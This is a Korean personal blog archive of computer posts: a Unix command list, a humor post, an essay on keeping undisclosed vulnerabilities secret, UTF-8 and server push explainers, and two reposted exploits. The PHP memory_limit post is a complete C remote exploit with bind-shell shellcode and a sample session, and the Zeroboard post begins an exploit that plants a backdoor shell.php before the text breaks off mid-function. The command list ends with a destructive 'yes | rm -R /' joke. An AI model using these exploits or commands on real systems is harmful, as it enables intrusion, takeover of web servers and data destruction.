2006. 5. 15. 15:25
addbib - 도서목록 형식의 데이터베이스를 만들거나, 확장
apropos - 사용설명서의 키워드 검색
ar - 라이브러리 만들기, 관리
at, batch - 원하는 시간에 원하는 명령을 실해하게 하는 명령
awk - 패턴 검색과 언어 처리
banner - 큰 글자(배너) 만들기
basename - 경로 이름에서 마지막에 있는 이름만 출력
biff - 자신에게 편지가 배달되면 알려주는 명령
bin-mail, binmail - 예전에 사용한 전자우편 프로그램
cal - 달력보기
calendar - 간단한 일정표
cat - 파일 병합과 내용 보기
cb - 간단한 C 프로그램 beautifier(?)
cc - C 컴파일러
cd - 작업 디렉토리 바꾸기
checknr - nroff 또는 troff 입력 파일 검사; 오류를 보여준다
chgrp - 파일의 사용자 그룹 바꾸기
chmod - 파일의 접근 권한 바꾸기
clear - 터미날 화면 깨끗이 하기
cmp - 두 파일을 바이트 단위로 비교
colcrt - troff 파일의 밑줄 속성 문자 처리
comm - 지정 두파일의 줄 단위 비교와 그 처리
compress, uncompress, zcat - 파일 압축관련 유틸리티들
cp - 파일 복사
cpio - copy file archives in and out
cpp - C 언어 전처리기
csh - C 문법과 비슷한 쉘 스크립트 문법과 기타 여러 기능이 내장된 쉘
ctags - ex 나 vi 편집기에서 사용될 tag 파일을 만드는 명령
date - 시스템 시간 보기나 지정하기
dbx - 소스 수준의 디버거
deroff - nroff, troff, tbl, eqn 관련 내용 지움
df - disk free: 디스크의 남은 용량 보기
diff - 두 파일의 차이점 비교
du - disk used : 디스크 사용량 보기
echo - 인자를 표준 출력으로 출력
ed, red - 기본 줄 편집기
eqn, neqn, checkeq - 수식 표현 포멧 도구
error - 컴파일러 오류 메시지 목록
ex, edit, e - 줄 편집기
expand, unexpand - TAB 문자를 공백문자로 바꿈, 또는 그 반대로
expr - 인자를 수식으로 처리
file - 파일 형식 알아보기
find - 파일 찾기
finger - 사용자 정보 알아보기
fmt, fmt_mail - 간단한 문서나, 편지 포멧 도구
fold - 긴 줄 출력 방법 지정
ftp - 파일 전송 프로그램
gcore - 실행 중인 프로세스의 core 이미지를 구한다.
gprof - call-graph profile data(?)를 보여줌
grep - 문자열 찾기
groups - 사용자의 그룹을 보여줌
history - 이전 명령 보기
hostname - 현재 시스템 이름을 보여줌
imake - makefile 만드는 프로그램
indent - C 프로그램 소스 파일을 들여쓰기 하는 포멧 도구
install - 파일 설치
join - 관계형 데이터베이스 연산자
kill - 프로세스 죽이기 - "마누라 죽이기"와 상관없음 :-)
last - 사용자가 마지막 접속 상태를 보여줌
ld, ld.so - 링크 편집기, 동적 링크 편집기
leave - 자신의 접속 종료 시간을 알려줌
less - more 명령의 확장
lex - 어휘 분석 프로그램 생성기
lint - C 프로그램 verifier
ln - 파일의 하드, 심벌릭 링크 명령
login - 시스템 접속 명령
look - 시스템 디렉토리나, 정열된 목록에서 단어 찾기
lookbib - 도서목록형 데이타베이스에서 찾기
lorder - 오브젝트 라이브러리의 관계 찾기
lp, cancel - 인쇄 시작, 취소
lpq - 인쇄 작업 상황 보기
lpr - 인쇄
lprm - 인쇄 작업 지우기
ls - 디렉토리 내용 보기
mail, Mail - 전자 우편 프로그램
make - 실행 파일을 만들거나, 특정 작업 파일을 만들 때 사용하는 도구
man - 온라인 사용자 설명서를 보는 명령
mesg - 메시지 수신 상태를 보거나 지정
mkdir - 디렉토리 만들기
mkstr - C 소스 파일을 참조로 오류 메시지 파일을 만듬.
more, page - 텍스트 파일 보기 명령
mv - 파일 이동이나, 이름 바꾸기
nawk - 패턴 검색과 언어 처리
nice - 낮은 우선권에서 명령 실행
nm - 심블 이름 목록 보기
nroff - 문서 포멧 도구
od - 8진수, 10진수, 16진수, ascii 덤프
passwd, chfn, chsh - 비밀번호, 핑거정보, 쉘 바꾸기
paste - 여러파일의 서로 관련 있는 줄 연결시키기
pr - 문서 파일 양식화 도구
printenv - 현재 환경 변수들의 내용과 그 값 알아보기
prof - profile 자료 보기
ps - 현재 프로세스 정보 보기
ptx - permuted(순열화된?, 교환된?) 색인 만들기
pwd - 현재 작업 디렉토리 보기
quota - 한 사용자에게 지정된 디스크 할당량보기
ranlib - archive를 random 라이브러리로 변화
rcp - 리모트 카피
rcs - RCS 파일 속성 바꾸기
rcsdiff - RCS revisions 비교
rev - 한 줄의 문자열 꺼꾸로
rlogin - 리모트 로그인
rm, rmdir - 파일, 디렉토리 지우기
roffbib - 도서목록형 데이터베이스 보기 또는 양식화
rsh - 리모트 쉘
rup - 로칼 머쉰의 호스트 상태 보기(RPC version)
ruptime - 로칼 머쉰의 호스트 상태 보기
rusers - 현재 접속자 보기 (RPC version)
rwall - 모든 사용자에게 알림(RPC)
rwho - 현재 접속자 보기
sccs - Source Code Control System (SCCS)
sccs-admin, admin - SCCS 사용 내역 파일을 만들고, 관리
sccs-cdc, cdc - SCCS 델타의 델파 주석을 바꿈
sccs-comb, comb - SCCS 델타 조합
sccs-delta, delta - SCCS 파일에 데해 델타를 만듬
sccs-get, get - SCCS 파일 버전확인
sccs-help, help - SCCS 오류나 경고 메시지 검색
sccs-prs, prs - SCCS 사용내역의 선택된 부분 보기
sccs-prt, prt - SCCS 파일에서 델타 테이블 정보를 봄
sccs-rmdel, rmdel - SCCS 파일에서 델타를 지움
sccs-sact, sact - SCCS 파일의 편집 상태를 봄
sccs-sccsdiff, sccsdiff - SCCS 파일들의 버전 비교
sccs-unget, unget - SCCS 파일의 미리 얻은 것(?)을 취소한다.
sccs-val, val - SCCS 파일 유요화
script - 화면 갈무리
sed - stream editor
sh - 유닉스 표준 쉘
size - 오브젝트 파일의 크기들을 보여줌
sleep - 지정한 시간 만큼 실행 보류
sort - 줄 정열과 검색
sortbib - 도서목록형 데이터베이스 정열
spell, hashmake, spellin, hashcheck - 맞춤범 검사(물론 영어겠지요)
split - 파일 나누기
strings - 오브젝트 파일이나, 실행 파일에서 문자열 찾기
strip - 오브젝트 파일에서 심벌 테이블과 중복된 비트 삭제
stty - 터미날 설정
su - super-user, 임시적으로 새 ID로 바꿈
symorder - 심벌 순서 바꿈
tabs - 터미날 tab 크기 지정
tail - 파일의 끝 부분 보기
talk - 다른 사용자와 이야기하기
tar - 여러 파일 묶기 또는 묶긴 파일 풀기
tbl - nroff 또는 troff의 도표 작성 도구
tee - 표준 출력으로 방향 전환
telnet - TELNET 프로토콜을 이용한 원격 리모트 호스트 접속
test - 주워진 환경이 참인지, 거짓인지를 돌려줌
tftp - 간단한 ftp.
time - 명령 실행 시간 계산
touch - 파일 날짜 관련 부분을 바꿈
troff - 문서 양식화 도구
true, false - 쉘 스크립트에서 사용되는 참/거짓을 리턴하는 명령
tsort - topological sort
tty - 현재 터미날 이름 보기
ue - MICROemacs
ul - 밑줄 속성 문자 표현
unifdef - cpp 입력 줄에서 ifdef 부분 바꾸거나 지움
uniq - 중복되는 빈줄 지우기
units - 프로그램 변환도구
uptime - 시스템 부팅 기간 보기
users - 현재 접속 사용자 보기
uucp, uulog, uuname - 시스템 간의 복사
uuencode, uudecode - 이진 파일을 아스키파일로 인코딩, 반대로 디코딩
uusend - 리모트 호스트에 파일 보내기
uux - 리모트 시스템 명령 실행
vacation - 자동으로 편지 답장하기
vgrind - grind nice program listings
vi, view, vedit - ex 바탕의 편집기
vtroff - 문서 양식화 도구
w - 현재 누가 접속해 있으며, 무엇을 하고있는지
wait - 프로세스가 마치기를 기다림
wall - 모든 사용자에게 알림
wc - 단어, 줄, 바이트 계산
what - 파일에서 SCCS 버전 정보 알아냄
whatis - 명령의 간단한 설명 보여줌
whereis - 찾는 명령의 실행파일, 소스, 맨페이지가 어디 있는지 경로를 보여줌
which - 명령만 찾음.
who - 시스템에 접속되어 있는 사람만 보여줌
whoami - 현재 사용하고 있는 자신이 누군지 보여줌
write - 다른 사용자의 화면에 특정 내용을 알림
xargs - 명령행 인자 처리 명령
xstr - extract strings from C programs to implement shared strings
yacc - yet another compiler-compiler: 파싱(형태소분석) 프로그램 생성기
yes - 항상 yes만 응답하는 명령
zcat - 압축 파일 내용보기

좋구나.. 특히 yes
yes | rm -R /
-f 가 있긴 하지만 역시 다른 방식이란건 좋아

'Hobby > Computer' 카테고리의 다른 글

프로그래머만 이해하는 말들 -_-  (1) 2006.04.14
W.S. #01  (4) 2005.11.16
UTF-8  (0) 2005.11.15
PHP memory_limit Exploit Code  (0) 2005.11.15
Server Push  (0) 2005.11.15
Posted by 아즈키
2006. 4. 14. 12:36


푸하하

완전 웃겨 ㅋㅋㅋ

'디버거도 소용없어 다 애송이야'

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

버그님이 최강23 ;ㅂ;

'Hobby > Computer' 카테고리의 다른 글

linux command  (4) 2006.05.15
W.S. #01  (4) 2005.11.16
UTF-8  (0) 2005.11.15
PHP memory_limit Exploit Code  (0) 2005.11.15
Server Push  (0) 2005.11.15
Posted by 아즈키
2005. 11. 16. 19:35
W.S. #01

첫번째 이야기다.

생각이 나는대로 쓰기에 역시 두서도 없고 별것도없다 진짜로

어차피 자기만족이기에 -_-.. 아무튼 시작한다 첫번째..


이야기의 시작은 비밀?들의 존재다..

작성자(프로그래머)에게 보고를 하면 바로 패치가 될텐데..

그리고 많은 사람들의 사생활이 보호되고, 크래킹의 피해를 줄일 수 있을테지만..

이러한 비밀들은 적어도 수십명이 알고 있지만, 패치를 위해 공개되지 않았다..

물론, 그들은 올바른 정신의 소유자들이며, 이것을 악용하지 않는다고 난 믿고있다.

어째뜬 나를 포함한 그들 모두는 공유하고 있는 이 비밀들을 아직 지키고있다

그것이 올바르게 보이는 그들의 정신에 위배되는 것이지만 말이다


이점에 대해 변명하자면 하나는 소유권의 문제다..

그렇다 나를 포함한 많은 사람들은 이 것들을 스스로 알아내진 않았다

적어도 몇개의 비밀들은 공유등을 통해서 알게 되었다..

그래서 스스로는 이것에 대해 자격이 없음을 느낀다..

이것은 한사람만의 것도 아닌 것이고, 게다가 한사람을 꼽는다 해도 자신은 아니기 때문에..


또 하나는 비밀에 대한 책임감이다

자신이 마치 고대 비밀의 수호자라도 된듯 비밀을 지키고있다

그동안 지켜왔던 비밀에 대한 관습적 행동.

하지만 진심으로 생각건대 비밀의 누설은 모두에게 미안한 일이 맞다.

그리고 미안한걸 떠나서 그것에 대한 책임의 결과는 앞으로 얻게될 비밀과도 연관된다.


그리고 마지막으로 생각 나는 단어는 자존심

인간은 본질적으로 특권을 갖고 싶어한다. 특권의 자존심이다..

비밀이 그들에겐 하나의 특권이 되고, 이 비밀의 특성상 특권적인 행동을 취할수도 있다.

그리고 몇몇의 꽤 비밀스러운 비밀은 그 자체로 자존심이 되기도 한다.

비밀을 알고 있는 그들을 동경해주는 누군가가 있기 때문에 더욱 숨기게된다


결론은 역시 자기, 자신을 위한 것이란 것이다.. 모든 것이 그렇듯..

비밀의 소유권이나 책임감보다는 말이다.. // 사실 그건 그렇게 중요하지도 않다-_-

나역시 누려왔던 특권들을 버리지 못하고있다 아직도.. '-'

'Hobby > Computer' 카테고리의 다른 글

linux command  (4) 2006.05.15
프로그래머만 이해하는 말들 -_-  (1) 2006.04.14
UTF-8  (0) 2005.11.15
PHP memory_limit Exploit Code  (0) 2005.11.15
Server Push  (0) 2005.11.15
Posted by 아즈키
2005. 11. 15. 12:19
UTF-8은 모든 Unicode 문자를 1바이트에서 4바이트까지 가변폭 바이트 스트림으로 인코딩한다.
6바이트가 아님. ISO JTC1/SC2/WG2는 공식적으로 ISO 10646에서 UTF-16으로 표현 가능한 상한선인 U+10FFFF를 넘는 범위에 문자를 배정하지 않으리라고 결정했고, Unicode Technical Committee는 그에 앞서 같은 결정을 내렸다.


하나의 Unicode 문자를 몇 바이트로 인코딩할지는 해당 글자에 할당된 코드값 (Unicode Scalar Value)에 따라 결정할 수 있다. U+007F까지는 1 바이트, U+0080에서 U+07FF까지는 2 바이트, U+0800에서 U+FFFF까지는 3 바이트, U+10000에서 U+10FFFF까지는 4 바이트를 쓴다. 따라서 US-ASCII에 속하는 문자는 U+0000 (NULL)을 포함해서 UTF-8에서는 한 바이트로 표현할 수 있다. 이 특성은 US-ASCII와 호환성을 유지해야 하는 유닉스 파일 시스템1, SMTP (인터넷 메일)를 비롯한 텍스트 기반인 여러 인터넷 프로토콜에서 쓰기에 적합하다.

Unicode를 인코딩하는 방법으로는 UTF-7, UTF-8, UTF-16, UTF-32 등 여러 가지 방법이 있다.
TeX에서는 주로 UTF-8을 사용하는데, CJK 문자는 U+0800 이후에 할당되어 있으므로 UTF-8에서 3 바이트를 써서 나타내야 한다. 반면에 UTF-16을 쓸 경우에는 CJK 글자를 포함해서 모든 BMP (Basic Multilingual Plane : Unicode 중 처음 65,536 코드 포인트)에 속하는 글자는 2 바이트로 나타낸다. 이런 이유로 UTF-16을 선호하는 경우가 있으나 (UTF-8이 UTF-16에 비해 최대 1.5배 더 많은 저장 공간/송신 시간을 요하므로) US-ASCII와의 호환성은 많은 경우에 대단히 중요하므로, Unix(Mac OS X)와 ?BeOS 등은 텍스트 형식과 그와 유사한 형식에서 UTF-8을 주로 쓴다. 같은 이유로 TeX/Omega에서도 UTF-8을 주로 쓴다. 반면에 Win32에서는 텍스트 문서 형식도 기본으로는 UTF-16을 사용한다.


텍스트 형식과 OS나 프로그램 혹은 라이브러리 내부에서 어떤 인코딩을 쓰느냐는 별개의 문제이다. Linux glibc는 UTF-32를 쓰고, Mac OS X, Win32, Omega, ICU (International Component for Unicode), Java, ECMAscript2, Mozilla 등은 UTF-16을 쓰고, ?BeOS, glib, Perl 등은 UTF-8을 쓴다. Python은 UTF-32 혹은 UCS-2 (2byte 혹은 4byte를 쓰는 가변폭 인코딩인 UTF-16과 달리 UCS-2는 2byte 고정폭 인코딩으로 오직 BMP만 지원할 수 있다.)를 쓰도록 컴파일할 수 있다.
UTF-32는 가변폭 인코딩인 UTF-16을 다루는데서 오는 불편함3을 피할 수 있는 반면에 UTF-8에 비해 최대 4배의 공간(US-ASCII에 속하는 글자라면)을, UTF-16에 비해서도 최대 2배 (BMP에 속하는 글자의 경우)의 공간을 쓴다는 단점이 있다.

IETF RFC :
http://www.cse.ohio-state.edu/cgi-bin/rfc/rfc2279.html

UTF-8, UTF-16, UTF-32 & BOM :
http://www.unicode.org/unicode/faq/utf_bom.html


옛날엔 UTF-8은 1byte or 3byte 인줄 알았는데 -_-;;

'Hobby > Computer' 카테고리의 다른 글

프로그래머만 이해하는 말들 -_-  (1) 2006.04.14
W.S. #01  (4) 2005.11.16
PHP memory_limit Exploit Code  (0) 2005.11.15
Server Push  (0) 2005.11.15
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Posted by 아즈키
2005. 11. 15. 11:15
Vulnerable Systems:
 * PHP 4 version 4.3.7 and prior
 * PHP 5 version 5.0RC3 and prior

Exploit:
/* Remote exploit for the php memory_limit vulnerability found by Stefan
 * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
 *
 * by Gyan Chawdhary (gunnu45@hotmail.com)
 * (felinemenace.org/~gyan)
 *
 * Greets
 * S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
 * scrippie, gera, riq, jaguar, girish, n2n ...
 *
 * Vulnerability:
 * The issue is well documented in the advisory.
 *
 * Exploitation:
 * I cud not find a generic way to free a 40 byte chunk which could be later
 * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
 * which will be sent in the first request. The second request will kick in the
 * memory interuption after allocating space for the hashtable and before it is
 * initalized. The memory it will use for this allocation will contain the data
 * from our previous request which includes the pDestructor pointer pointing to
 * our nop+shellcode which is a part of the second request. This happens in the
 * zend_hash_destory function.
 *
 * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
 * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
 * Apache 2.0.49 with register_globals = On
 *
 * Gyan
 *
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter "
"User-Agent: mlxdebug "
"Accept: text/html "
"Connection: close "
"Pragma: no-cache "
"Cache-Control: no-cache "
"Content-Type: multipart/form-data; boundary=------------ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB ";

char request2[]=
"---------------264122487026375 "
"Content-Length: 472 "
" "
"-----------------------------264122487026375 "
"Content-Disposition: form-data; name="a[][]" "
" "
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES "
" "
"-----------------------------264122487026375-- ";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter "
"User-Agent: mlxdebug "
"Accept: text/html "
"Connection: close "
"Pragma: no-cache "
"Cache-Control: no-cache "
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375 "
"Content-Length: 472 "
" "
"-----------------------------264122487026375 "
"Content-Disposition: form-data; name="a[][]" "
" "
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES "
"-----------------------------264122487026375-- ";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"xebx72x5ex29xc0x89x46x10x40x89xc3x89x46x0c"
"x40x89x46x08x8dx4ex08xb0x66xcdx80x43xc6x46"
"x10x10x66x89x5ex14x88x46x08x29xc0x89xc2x89"
"x46x18xb0x90x66x89x46x16x8dx4ex14x89x4ex0c"
"x8dx4ex08xb0x66xcdx80x89x5ex0cx43x43xb0x66"
"xcdx80x89x56x0cx89x56x10xb0x66x43xcdx80x86"
"xc3xb0x3fx29xc9xcdx80xb0x3fx41xcdx80xb0x3f"
"x41xcdx80x88x56x07x89x76x0cx87xf3x8dx4bx0c"
"xb0x0bxcdx80xe8x89xffxffxff/bin/sh";


void xp_connect(char *ip)
{
        char buffer[1024];
        char temp[1024];
        int tmp;

        s.sin_family = AF_INET;
        s.sin_port = htons(PORT);
        s.sin_addr.s_addr = inet_addr(ip);

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("Cannot create socket ");
                exit(-1);
        }

        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
        {
                printf("Cannot connect() ");
                exit(-1);
        }
}

void xp_write(char *data)
{

        if(write (sock, data, strlen(data)) < 0)
        {
         printf("write() failed ");
         exit(-1);
        }
}

void xp_receive()
{
        int tmp;
        char buffer[1024*2];
 
  if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
        {
               printf("read() failed ");
               exit(-1);
        }
}

char fill[] = " %s ";

/*This function builds the main request. In destroy_uploaded_files_hash we
 * need to pass zend_hash_apply to reach zend_hash_destroy.
 * We set
 * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION
 * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
 * 3) ht->pDestructor = addr to nop+shellcode
 * 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp
 * 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi)
 * 0x402c22c2 <zend_hash_destroy+190>: call *%eax
 * 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp
 *
 * $eax = ht->pDestructor
 */

void build1(int size, int count)
{
         char *p1, *p2;
         char *b1, *b2;
         int i;
  int pot = 0xffffffff;
  int got = 0x41414141;
  int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
  int sot = 0x02020202;
  int ret = 0x081887a8;

  b1 = (char *)malloc(size-8);
                p1 = b1;

  for (i=0; i<size-8; i+=36)
  {
  *( (int **)p1 ) = (int *)( pot );
  p1+=4;
  *( (int **)p1 ) = (int *)( got );
  p1+=4;
  *( (int **)p1 ) = (int *)( bot );
  p1+=4;
  *( (int **)p1 ) = (int *)( ret );
                p1+=4;
                *( (int **)p1 ) = (int *)( bot );
                p1+=4;
  *( (int **)p1 ) = (int *)( got );
         p1+=4;
         *( (int **)p1 ) = (int *)( bot );
         p1+=4;
  *( (int **)p1 ) = (int *)( sot );
  p1+=4;
  }

         b2 = (char *)malloc(size+1);
         p2 = b2;

  sprintf(p2, fill, b1);

         for(i=0; i<count; i++)
                xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with
 * php_normalize_heap function */
void build2(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               b1 = (char *)malloc(size-8);
               p1 = b1;
               memset(p1, 'x42', size-8);
               b2 = (char *)malloc(size+1);
               p2 = b2;
               sprintf(p2, fill, b1);
               for(i=0; i<count; i++)
               xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
 return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               int pot = 0x90909090;

        b1 = (char *)malloc(size-8);
               p1 = b1;
  
          for (i=0; i<size-8-strlen(shell); i+=4) {
         *( (int **)p1 ) = (int *)( pot );
                 p1+=4;
                }
   p1 = b1;

  p1+= size - 8 - strlen(shell);
  strncpy(p1, shell, strlen(shell));
              
               b2 = (char *)malloc(size+1);
               p2 = b2;

                sprintf(p2, fill, b1);

                for(i=0; i<count; i++)
                 xp_write(b2);
       }
        


void exploit()
{

 int i;
 
 printf("Stage 1: Filling mem with bad pdestructor ... ");
 for (i=0; i< 5; i++)
 {
        xp_connect(IP);
            xp_write(request1);
             build1(5000, 1);
             xp_write(request2);
      close(sock);
 }
 printf("DONE ");
 printf("Stage 2: Triggering memory_limit now ... ");
  
 xp_connect(IP);
        xp_write(request3);
        build3(8192, 255);
        build3(7265, 1);
        xp_write(request4);
 printf("DONE ");
 printf("Shell on port 36864 ");
 
}

main()
{
 /*No args, no vectors*/
 exploit();
}

/*
 * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
 *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
 *
 *
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/

'Hobby > Computer' 카테고리의 다른 글

W.S. #01  (4) 2005.11.16
UTF-8  (0) 2005.11.15
Server Push  (0) 2005.11.15
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
Posted by 아즈키
2005. 11. 15. 10:35
1995년 네스케잎사의 몇몇 사람들이 multipart/mixed MIME 형식을 조작해서 웹에서 애니메이션을 표현할 수 있는 방법을 생각해 냈는데, 이 것이 서버푸쉬이다. 이 새로운 MIME 형식은 multipart/x-mixed-replace이다. x는 이것이 공식적인 MIME 명세가 아닌 추가적인 형식이라는 것을 의미한다. 이 MIME의 핵심은 replace 부분이다.

즉, 이것은 많은 형식을 가진 하나의 메시지가 아니라, 모두 같은 형식을 가진 많은 분리된 메시지라는 것을 의미하며, 하나의 메시지는 다음 메시지로 대치(replace)된다는 것을 의미한다.

예를들어 gif 이미지와 같은 것을 이 MIME 형식에 적용하면 하나의 GIF를 표시하고 다음에 다른 GIF가 그것을 대치하고 계속해서 여러 개의 GIF 파일을 이와 같은 방법으로 대치할 수 있으며, 이것으로서 간단한 애니메이션을 웹에 구현할 수 있다.

서버푸쉬는 웹에 간단한 애니메이션을 나타내기위해서 처음으로 사용한 방법이지만 네트웍의 속도와 다른 여러 가지 이유 때문에 부드러운 애니메이션을 구현하기 힘들다.

더욱이 오늘날에는 자바와 GIF89a의 등장으로 애니메이션을 구현하기위한 서버 푸쉬로서의 의미는 잃었지만 클라이언트와의 연결을 유지하면서 서버측의 정보를 전송할 수 있기 때문에 아직도 많은 곳에서 사용된다.

동작원리

multipart/x-mixed-replace MIME 형식은 다음과 같은 형식을 갖지며, CGI가 다음과 같은 형식의 문서를 출력하면 서버 푸쉬를 지원하는 서버는 이 CGI의 출력을 여러개의 문서로 처리해 준다.

1: Content-type: multipart/x-mixed-replace;boundary=TestBoundary
2:
3: --TestBoundary
4: Content-type: text/plain
5:
6: first document
7:
8: --TestBoundary
9: Content-type: text/html
10:
11: <html>
12: <body>
13: second document
14: </body>
15: </html>
16:
17: --TestBoundary--

multipart/x-mixed-replace
"multipart"는 MIME 형식중 복합문서를, "x-mixed-replace"는 복합문서중에서도 서버 밀기에 이용되는 문서형식임을 나타낸다. 앞의 "x-"는 아직 정식으로 표준화되지 않은 형식임을 나타낸다.

boundary
복합문서내의 각 문서들을 구별하는 분리자(delimeter)를 지정한다. 이 분리자는 문서내에 나타나지 않는 문자열을 이용하여야 한다. NCSA HTTPD에서는 boundary앞에 공백이 오면 안된다.

--boundary
분리자 앞에 "--"를 덧붙여서 다음 문서의 시작을 표시한다.

--boundary--
분리자의 앞뒤에 --를 덧붙여서 문서의 끝은 나타낸다.

간단한 예

다음은 1~50까지 숫자를 카운트하는 프로그램이다. CGI의 출력이 시스템 버퍼를 경유하지 않도록 $!=1;을 사용하였다.
또한 정확히 지정한 시간 후에 출력이 되도록 select 함수를 이용해서 delay 함수를 구현하였다.

1 : #! /usr/local/bin/perl
2 : $| = 1;
3 : print "content-type: multipart/x-mixed-replace;boundary=aaa ";
4 : for($i = 1; $i <= 50; $i++)
5 : {
6 : print "--aaa ";
7 : print "content-type: text/html ";
8 : print &html($i);
9 : &delay(1);
10 : }
11 : print "--aaa-- ";
12 :
13 : sub html {
14 : my($i) = @_;
15 : my($html) =<<Push;
16 : <html>
17 : <body>
18 : <head>
19 : <title>Server Push예</title>
20 : </head>
21 : <body>
22 : <span style="font-size: ${i}0px;color: #${i}0${i}0${i}0;
text-align: center"> $i</span>
23 : </body>
24 : </html>
25 : Push
26 : }
27 : sub delay {
28 : select (undef,undef,undef,$_[0]);
29 : return;
30 : }


몇년 전 서비스화 하다가 3번인가 실패한적이 있는 서버 푸쉬.
내 짧은 인생의 몇 안되는 실패작이 서버 푸쉬로 부터 나왔다..
기술 자체는 매우 쉽지만, 클라이언트 끼리 통신 부분이 어려웠었다
나름대로의 내게 교훈을 줬던 기술이였다
아직까지도 내게 남아있는 숙제이기도하다 '-'.. // 언제할려나-_-

'Hobby > Computer' 카테고리의 다른 글

UTF-8  (0) 2005.11.15
PHP memory_limit Exploit Code  (0) 2005.11.15
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
Yahoo Webmail Vulnerabilty  (0) 2005.11.15
Posted by 아즈키
2005. 11. 15. 10:09
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit
Date : 31/05/2005




/*
*
----------------------------------------------------------------------------------
[+] Zeroboard preg_replace vulnerability Remote nobody shell exploit
----------------------------------------------------------------------------------

> by n0gada (n0gada@null2root.org)

[*] date : 2005/5/29

[*] the bug

Original advisory:
- http://pandora.sapzil.info/text/notify/20050123.zb41advisory.php

Application
- Zeroboard 4.1 pl2 - 4.1 pl5

Reference:
- http://www.nzeo.com

[*] Target - My test server

$ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test
- Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test

[+] xxx.xxx.xxx connecting ok!
[+] Zeroboard writing . ok!
[+] Confirmming your article - found!
[+] Exploiting zeroboard start ............................... Done!
[*] Confirmming your backdoor php script -
http://xxx.xxx.xxx/zboard/data/test/shell.php is generated!
[+] Exploiting success!!
[*] Remove your article - ok! :)

------------------------------------------------------------------------------
*
*/

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>


#define BUFSIZE 4096
#define READSIZE 1500

void ParseZbHost(char *);
void ConnectZboard(char *, unsigned short);
void WriteZboard(void);
void ExploitZboard(void);
void ConfirmPHPScript(void);
void DeleteArticle(void);
void StatusProcess(void);
void Usage(char *);
void OutputErr(char *, int);

char *zb_host;
char *zb_dir;
char *zb_tid;
unsigned short zb_port;

int sockfd = -1;
int reconn=0;
char ReadBuf[READSIZE];
char WriteBuf[BUFSIZE];
char TempBuf[BUFSIZ];
char no[16];


int main(int argc, char *argv[]){

if(argc < 2) Usage(argv[0]);

if(argc > 2) zb_port = atoi(argv[2]);
else zb_port = 80;

// http://host/bbs/zboard.php?id=test

ParseZbHost(argv[1]);

ConnectZboard(zb_host, zb_port);

WriteZboard();

ExploitZboard();

ConfirmPHPScript();

DeleteArticle();
}

void ParseZbHost(char *zbhost)
{
char *psbuf;
char *sptr=NULL;
char *eptr=NULL;

psbuf = malloc(strlen(zbhost)+1);

strcpy(psbuf, zbhost);

if((sptr = strstr(psbuf,"http://")) == NULL) OutputErr("http://host need
", 0);

zb_host = sptr+7;

sptr = strchr(zb_host, '/');
sptr[0] = ' ';
sptr++;

if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) OutputErr(""zboard.php?id="
need
", 0);

zb_tid = eptr+14;

eptr--;
eptr[0] = ' ';

zb_dir = sptr;

fprintf(stdout, " - Target : http://%s/%s/zboard.php?id=%s
", zb_host, zb_dir,
zb_tid);
fflush(stdout);
}


void ConnectZboard(char *server, unsigned short port)
{

